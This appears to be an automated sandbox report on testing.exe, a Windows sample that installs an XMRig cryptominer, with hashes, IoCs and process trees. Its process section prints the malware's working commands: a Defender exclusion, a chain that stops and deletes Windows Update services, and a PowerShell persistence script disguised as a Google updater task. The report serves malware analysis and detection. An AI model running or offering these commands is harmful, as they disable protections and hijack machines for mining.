Resubmissions
05-04-2023 16:34
230405-t3e6saaa8v 1031-03-2023 15:09
230331-sjvxfscc5v 1031-03-2023 13:39
230331-qx416sba8z 1030-03-2023 21:18
230330-z5tpvafg2x 1030-03-2023 21:03
230330-zv6awsff8s 1030-03-2023 18:59
230330-xncnwsfd2y 1030-03-2023 17:02
230330-vj468sde36 1030-03-2023 13:33
230330-qtnvsach28 1030-03-2023 06:37
230330-hdjl5abc45 1029-03-2023 21:31
230329-1c2enaaa35 10Analysis
-
max time kernel
1800s -
max time network
1801s -
platform
windows10-2004_x64 -
resource
win10v2004-20230220-en -
resource tags
arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system -
submitted
30-03-2023 18:59
Static task
static1
Behavioral task
behavioral1
Sample
testing.exe
Resource
win7-20230220-en
General
-
Target
testing.exe
-
Size
2.1MB
-
MD5
a12bc9557ad889a49e7b4f970c78dda8
-
SHA1
5383b8e6d09d41384281b95f9ccc8e050e7c04fa
-
SHA256
9940b1f8deb931e431dded69a71e6c9ac4c9e7d4fa560932f92cf0ae94cc65e0
-
SHA512
be8ca69b115aea7382ad4a780a0452a0df986bb036aec0aea3cac9f4b0d598c4256f0732720a5ee83fc05cd7dac7adf545792f91f2b60a05027a1811f12000ee
-
SSDEEP
24576:MHOygNfXDgkB9Y+AVIGckFdi3MUxbw+0AX4xVILyqe7keglf9BHHpRNt05sJNuI6:MuhBSda2+0+4xKLyqewBnfNwsJNO
Malware Config
Signatures
-
Modifies security service 2 TTPs 5 IoCs
Processes:
reg.exedescription ioc process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe -
Suspicious use of NtCreateUserProcessOtherParentProcess 12 IoCs
Processes:
testing.exeupdater.execonhost.exedescription pid process target process PID 4852 created 3196 4852 testing.exe Explorer.EXE PID 4852 created 3196 4852 testing.exe Explorer.EXE PID 4852 created 3196 4852 testing.exe Explorer.EXE PID 4852 created 3196 4852 testing.exe Explorer.EXE PID 4852 created 3196 4852 testing.exe Explorer.EXE PID 2536 created 3196 2536 updater.exe Explorer.EXE PID 2536 created 3196 2536 updater.exe Explorer.EXE PID 2536 created 3196 2536 updater.exe Explorer.EXE PID 2536 created 3196 2536 updater.exe Explorer.EXE PID 2536 created 3196 2536 updater.exe Explorer.EXE PID 3620 created 3196 3620 conhost.exe Explorer.EXE PID 2536 created 3196 2536 updater.exe Explorer.EXE -
XMRig Miner payload 30 IoCs
Processes:
resource yara_rule behavioral2/memory/5112-252-0x00007FF65FB70000-0x00007FF660364000-memory.dmp xmrig behavioral2/memory/5112-255-0x00007FF65FB70000-0x00007FF660364000-memory.dmp xmrig behavioral2/memory/5112-259-0x00007FF65FB70000-0x00007FF660364000-memory.dmp xmrig behavioral2/memory/5112-263-0x00007FF65FB70000-0x00007FF660364000-memory.dmp xmrig behavioral2/memory/5112-265-0x00007FF65FB70000-0x00007FF660364000-memory.dmp xmrig behavioral2/memory/5112-267-0x00007FF65FB70000-0x00007FF660364000-memory.dmp xmrig behavioral2/memory/5112-269-0x00007FF65FB70000-0x00007FF660364000-memory.dmp xmrig behavioral2/memory/5112-271-0x00007FF65FB70000-0x00007FF660364000-memory.dmp xmrig behavioral2/memory/5112-273-0x00007FF65FB70000-0x00007FF660364000-memory.dmp xmrig behavioral2/memory/5112-275-0x00007FF65FB70000-0x00007FF660364000-memory.dmp xmrig behavioral2/memory/5112-277-0x00007FF65FB70000-0x00007FF660364000-memory.dmp xmrig behavioral2/memory/5112-279-0x00007FF65FB70000-0x00007FF660364000-memory.dmp xmrig behavioral2/memory/5112-281-0x00007FF65FB70000-0x00007FF660364000-memory.dmp xmrig behavioral2/memory/5112-283-0x00007FF65FB70000-0x00007FF660364000-memory.dmp xmrig behavioral2/memory/5112-285-0x00007FF65FB70000-0x00007FF660364000-memory.dmp xmrig behavioral2/memory/5112-287-0x00007FF65FB70000-0x00007FF660364000-memory.dmp xmrig behavioral2/memory/5112-289-0x00007FF65FB70000-0x00007FF660364000-memory.dmp xmrig behavioral2/memory/5112-291-0x00007FF65FB70000-0x00007FF660364000-memory.dmp xmrig behavioral2/memory/5112-293-0x00007FF65FB70000-0x00007FF660364000-memory.dmp xmrig behavioral2/memory/5112-295-0x00007FF65FB70000-0x00007FF660364000-memory.dmp xmrig behavioral2/memory/5112-297-0x00007FF65FB70000-0x00007FF660364000-memory.dmp xmrig behavioral2/memory/5112-299-0x00007FF65FB70000-0x00007FF660364000-memory.dmp xmrig behavioral2/memory/5112-301-0x00007FF65FB70000-0x00007FF660364000-memory.dmp xmrig behavioral2/memory/5112-303-0x00007FF65FB70000-0x00007FF660364000-memory.dmp xmrig behavioral2/memory/5112-305-0x00007FF65FB70000-0x00007FF660364000-memory.dmp xmrig behavioral2/memory/5112-307-0x00007FF65FB70000-0x00007FF660364000-memory.dmp xmrig behavioral2/memory/5112-309-0x00007FF65FB70000-0x00007FF660364000-memory.dmp xmrig behavioral2/memory/5112-311-0x00007FF65FB70000-0x00007FF660364000-memory.dmp xmrig behavioral2/memory/5112-313-0x00007FF65FB70000-0x00007FF660364000-memory.dmp xmrig behavioral2/memory/5112-315-0x00007FF65FB70000-0x00007FF660364000-memory.dmp xmrig -
Drops file in Drivers directory 2 IoCs
Processes:
testing.exeupdater.exedescription ioc process File created C:\Windows\System32\drivers\etc\hosts testing.exe File created C:\Windows\System32\drivers\etc\hosts updater.exe -
Stops running service(s) 3 TTPs
-
Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 2536 updater.exe -
Processes:
resource yara_rule behavioral2/memory/5112-252-0x00007FF65FB70000-0x00007FF660364000-memory.dmp upx behavioral2/memory/5112-255-0x00007FF65FB70000-0x00007FF660364000-memory.dmp upx behavioral2/memory/5112-259-0x00007FF65FB70000-0x00007FF660364000-memory.dmp upx behavioral2/memory/5112-263-0x00007FF65FB70000-0x00007FF660364000-memory.dmp upx behavioral2/memory/5112-265-0x00007FF65FB70000-0x00007FF660364000-memory.dmp upx behavioral2/memory/5112-267-0x00007FF65FB70000-0x00007FF660364000-memory.dmp upx behavioral2/memory/5112-269-0x00007FF65FB70000-0x00007FF660364000-memory.dmp upx behavioral2/memory/5112-271-0x00007FF65FB70000-0x00007FF660364000-memory.dmp upx behavioral2/memory/5112-273-0x00007FF65FB70000-0x00007FF660364000-memory.dmp upx behavioral2/memory/5112-275-0x00007FF65FB70000-0x00007FF660364000-memory.dmp upx behavioral2/memory/5112-277-0x00007FF65FB70000-0x00007FF660364000-memory.dmp upx behavioral2/memory/5112-279-0x00007FF65FB70000-0x00007FF660364000-memory.dmp upx behavioral2/memory/5112-281-0x00007FF65FB70000-0x00007FF660364000-memory.dmp upx behavioral2/memory/5112-283-0x00007FF65FB70000-0x00007FF660364000-memory.dmp upx behavioral2/memory/5112-285-0x00007FF65FB70000-0x00007FF660364000-memory.dmp upx behavioral2/memory/5112-287-0x00007FF65FB70000-0x00007FF660364000-memory.dmp upx behavioral2/memory/5112-289-0x00007FF65FB70000-0x00007FF660364000-memory.dmp upx behavioral2/memory/5112-291-0x00007FF65FB70000-0x00007FF660364000-memory.dmp upx behavioral2/memory/5112-293-0x00007FF65FB70000-0x00007FF660364000-memory.dmp upx behavioral2/memory/5112-295-0x00007FF65FB70000-0x00007FF660364000-memory.dmp upx behavioral2/memory/5112-297-0x00007FF65FB70000-0x00007FF660364000-memory.dmp upx behavioral2/memory/5112-299-0x00007FF65FB70000-0x00007FF660364000-memory.dmp upx behavioral2/memory/5112-301-0x00007FF65FB70000-0x00007FF660364000-memory.dmp upx behavioral2/memory/5112-303-0x00007FF65FB70000-0x00007FF660364000-memory.dmp upx behavioral2/memory/5112-305-0x00007FF65FB70000-0x00007FF660364000-memory.dmp upx behavioral2/memory/5112-307-0x00007FF65FB70000-0x00007FF660364000-memory.dmp upx behavioral2/memory/5112-309-0x00007FF65FB70000-0x00007FF660364000-memory.dmp upx behavioral2/memory/5112-311-0x00007FF65FB70000-0x00007FF660364000-memory.dmp upx behavioral2/memory/5112-313-0x00007FF65FB70000-0x00007FF660364000-memory.dmp upx behavioral2/memory/5112-315-0x00007FF65FB70000-0x00007FF660364000-memory.dmp upx -
Drops file in System32 directory 3 IoCs
Processes:
powershell.exepowershell.exedescription ioc process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
updater.exedescription pid process target process PID 2536 set thread context of 3620 2536 updater.exe conhost.exe PID 2536 set thread context of 5112 2536 updater.exe conhost.exe -
Drops file in Program Files directory 4 IoCs
Processes:
cmd.execmd.exetesting.exeupdater.exedescription ioc process File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe testing.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe -
Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exepid process 2336 sc.exe 4124 sc.exe 1880 sc.exe 4300 sc.exe 4232 sc.exe 3944 sc.exe 4152 sc.exe 3344 sc.exe 3684 sc.exe 1072 sc.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
powershell.exepowershell.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe -
Suspicious behavior: EnumeratesProcesses 36 IoCs
Processes:
testing.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exepid process 4852 testing.exe 4852 testing.exe 940 powershell.exe 940 powershell.exe 4852 testing.exe 4852 testing.exe 4852 testing.exe 4852 testing.exe 4852 testing.exe 4852 testing.exe 100 powershell.exe 100 powershell.exe 4852 testing.exe 4852 testing.exe 4820 powershell.exe 4820 powershell.exe 2536 updater.exe 2536 updater.exe 2188 powershell.exe 2188 powershell.exe 2536 updater.exe 2536 updater.exe 2536 updater.exe 2536 updater.exe 2536 updater.exe 2536 updater.exe 3852 powershell.exe 3852 powershell.exe 2536 updater.exe 2536 updater.exe 2536 updater.exe 2536 updater.exe 3620 conhost.exe 3620 conhost.exe 2536 updater.exe 2536 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 668 -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exepowercfg.exepowershell.exepowercfg.exepowercfg.exepowercfg.exedescription pid process Token: SeDebugPrivilege 940 powershell.exe Token: SeShutdownPrivilege 3644 powercfg.exe Token: SeCreatePagefilePrivilege 3644 powercfg.exe Token: SeDebugPrivilege 100 powershell.exe Token: SeShutdownPrivilege 1924 powercfg.exe Token: SeCreatePagefilePrivilege 1924 powercfg.exe Token: SeShutdownPrivilege 5004 powercfg.exe Token: SeCreatePagefilePrivilege 5004 powercfg.exe Token: SeShutdownPrivilege 4928 powercfg.exe Token: SeCreatePagefilePrivilege 4928 powercfg.exe Token: SeIncreaseQuotaPrivilege 100 powershell.exe Token: SeSecurityPrivilege 100 powershell.exe Token: SeTakeOwnershipPrivilege 100 powershell.exe Token: SeLoadDriverPrivilege 100 powershell.exe Token: SeSystemProfilePrivilege 100 powershell.exe Token: SeSystemtimePrivilege 100 powershell.exe Token: SeProfSingleProcessPrivilege 100 powershell.exe Token: SeIncBasePriorityPrivilege 100 powershell.exe Token: SeCreatePagefilePrivilege 100 powershell.exe Token: SeBackupPrivilege 100 powershell.exe Token: SeRestorePrivilege 100 powershell.exe Token: SeShutdownPrivilege 100 powershell.exe Token: SeDebugPrivilege 100 powershell.exe Token: SeSystemEnvironmentPrivilege 100 powershell.exe Token: SeRemoteShutdownPrivilege 100 powershell.exe Token: SeUndockPrivilege 100 powershell.exe Token: SeManageVolumePrivilege 100 powershell.exe Token: 33 100 powershell.exe Token: 34 100 powershell.exe Token: 35 100 powershell.exe Token: 36 100 powershell.exe Token: SeIncreaseQuotaPrivilege 100 powershell.exe Token: SeSecurityPrivilege 100 powershell.exe Token: SeTakeOwnershipPrivilege 100 powershell.exe Token: SeLoadDriverPrivilege 100 powershell.exe Token: SeSystemProfilePrivilege 100 powershell.exe Token: SeSystemtimePrivilege 100 powershell.exe Token: SeProfSingleProcessPrivilege 100 powershell.exe Token: SeIncBasePriorityPrivilege 100 powershell.exe Token: SeCreatePagefilePrivilege 100 powershell.exe Token: SeBackupPrivilege 100 powershell.exe Token: SeRestorePrivilege 100 powershell.exe Token: SeShutdownPrivilege 100 powershell.exe Token: SeDebugPrivilege 100 powershell.exe Token: SeSystemEnvironmentPrivilege 100 powershell.exe Token: SeRemoteShutdownPrivilege 100 powershell.exe Token: SeUndockPrivilege 100 powershell.exe Token: SeManageVolumePrivilege 100 powershell.exe Token: 33 100 powershell.exe Token: 34 100 powershell.exe Token: 35 100 powershell.exe Token: 36 100 powershell.exe Token: SeIncreaseQuotaPrivilege 100 powershell.exe Token: SeSecurityPrivilege 100 powershell.exe Token: SeTakeOwnershipPrivilege 100 powershell.exe Token: SeLoadDriverPrivilege 100 powershell.exe Token: SeSystemProfilePrivilege 100 powershell.exe Token: SeSystemtimePrivilege 100 powershell.exe Token: SeProfSingleProcessPrivilege 100 powershell.exe Token: SeIncBasePriorityPrivilege 100 powershell.exe Token: SeCreatePagefilePrivilege 100 powershell.exe Token: SeBackupPrivilege 100 powershell.exe Token: SeRestorePrivilege 100 powershell.exe Token: SeShutdownPrivilege 100 powershell.exe -
Suspicious use of WriteProcessMemory 62 IoCs
Processes:
cmd.execmd.exepowershell.execmd.execmd.exeupdater.execmd.exedescription pid process target process PID 1124 wrote to memory of 3644 1124 cmd.exe powercfg.exe PID 1124 wrote to memory of 3644 1124 cmd.exe powercfg.exe PID 4848 wrote to memory of 4152 4848 cmd.exe sc.exe PID 4848 wrote to memory of 4152 4848 cmd.exe sc.exe PID 1124 wrote to memory of 1924 1124 cmd.exe powercfg.exe PID 1124 wrote to memory of 1924 1124 cmd.exe powercfg.exe PID 4848 wrote to memory of 3344 4848 cmd.exe sc.exe PID 4848 wrote to memory of 3344 4848 cmd.exe sc.exe PID 1124 wrote to memory of 5004 1124 cmd.exe powercfg.exe PID 1124 wrote to memory of 5004 1124 cmd.exe powercfg.exe PID 4848 wrote to memory of 2336 4848 cmd.exe sc.exe PID 4848 wrote to memory of 2336 4848 cmd.exe sc.exe PID 4848 wrote to memory of 3684 4848 cmd.exe sc.exe PID 4848 wrote to memory of 3684 4848 cmd.exe sc.exe PID 1124 wrote to memory of 4928 1124 cmd.exe powercfg.exe PID 1124 wrote to memory of 4928 1124 cmd.exe powercfg.exe PID 4848 wrote to memory of 4124 4848 cmd.exe sc.exe PID 4848 wrote to memory of 4124 4848 cmd.exe sc.exe PID 4848 wrote to memory of 4160 4848 cmd.exe reg.exe PID 4848 wrote to memory of 4160 4848 cmd.exe reg.exe PID 4848 wrote to memory of 4488 4848 cmd.exe reg.exe PID 4848 wrote to memory of 4488 4848 cmd.exe reg.exe PID 4848 wrote to memory of 764 4848 cmd.exe reg.exe PID 4848 wrote to memory of 764 4848 cmd.exe reg.exe PID 4848 wrote to memory of 428 4848 cmd.exe reg.exe PID 4848 wrote to memory of 428 4848 cmd.exe reg.exe PID 4848 wrote to memory of 4064 4848 cmd.exe reg.exe PID 4848 wrote to memory of 4064 4848 cmd.exe reg.exe PID 4820 wrote to memory of 4824 4820 powershell.exe schtasks.exe PID 4820 wrote to memory of 4824 4820 powershell.exe schtasks.exe PID 4856 wrote to memory of 1880 4856 cmd.exe sc.exe PID 4856 wrote to memory of 1880 4856 cmd.exe sc.exe PID 4708 wrote to memory of 5040 4708 cmd.exe powercfg.exe PID 4708 wrote to memory of 5040 4708 cmd.exe powercfg.exe PID 4856 wrote to memory of 4300 4856 cmd.exe sc.exe PID 4856 wrote to memory of 4300 4856 cmd.exe sc.exe PID 4856 wrote to memory of 4232 4856 cmd.exe sc.exe PID 4856 wrote to memory of 4232 4856 cmd.exe sc.exe PID 4856 wrote to memory of 1072 4856 cmd.exe sc.exe PID 4856 wrote to memory of 1072 4856 cmd.exe sc.exe PID 4708 wrote to memory of 4108 4708 cmd.exe powercfg.exe PID 4708 wrote to memory of 4108 4708 cmd.exe powercfg.exe PID 4856 wrote to memory of 3944 4856 cmd.exe sc.exe PID 4856 wrote to memory of 3944 4856 cmd.exe sc.exe PID 4856 wrote to memory of 1112 4856 cmd.exe reg.exe PID 4856 wrote to memory of 1112 4856 cmd.exe reg.exe PID 4856 wrote to memory of 1432 4856 cmd.exe reg.exe PID 4856 wrote to memory of 1432 4856 cmd.exe reg.exe PID 4708 wrote to memory of 2476 4708 cmd.exe powercfg.exe PID 4708 wrote to memory of 2476 4708 cmd.exe powercfg.exe PID 4856 wrote to memory of 1772 4856 cmd.exe reg.exe PID 4856 wrote to memory of 1772 4856 cmd.exe reg.exe PID 4856 wrote to memory of 4432 4856 cmd.exe reg.exe PID 4856 wrote to memory of 4432 4856 cmd.exe reg.exe PID 4856 wrote to memory of 4668 4856 cmd.exe reg.exe PID 4856 wrote to memory of 4668 4856 cmd.exe reg.exe PID 4708 wrote to memory of 3908 4708 cmd.exe powercfg.exe PID 4708 wrote to memory of 3908 4708 cmd.exe powercfg.exe PID 2536 wrote to memory of 3620 2536 updater.exe conhost.exe PID 792 wrote to memory of 1396 792 cmd.exe WMIC.exe PID 792 wrote to memory of 1396 792 cmd.exe WMIC.exe PID 2536 wrote to memory of 5112 2536 updater.exe conhost.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
-
C:\Users\Admin\AppData\Local\Temp\testing.exe"C:\Users\Admin\AppData\Local\Temp\testing.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thaqo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
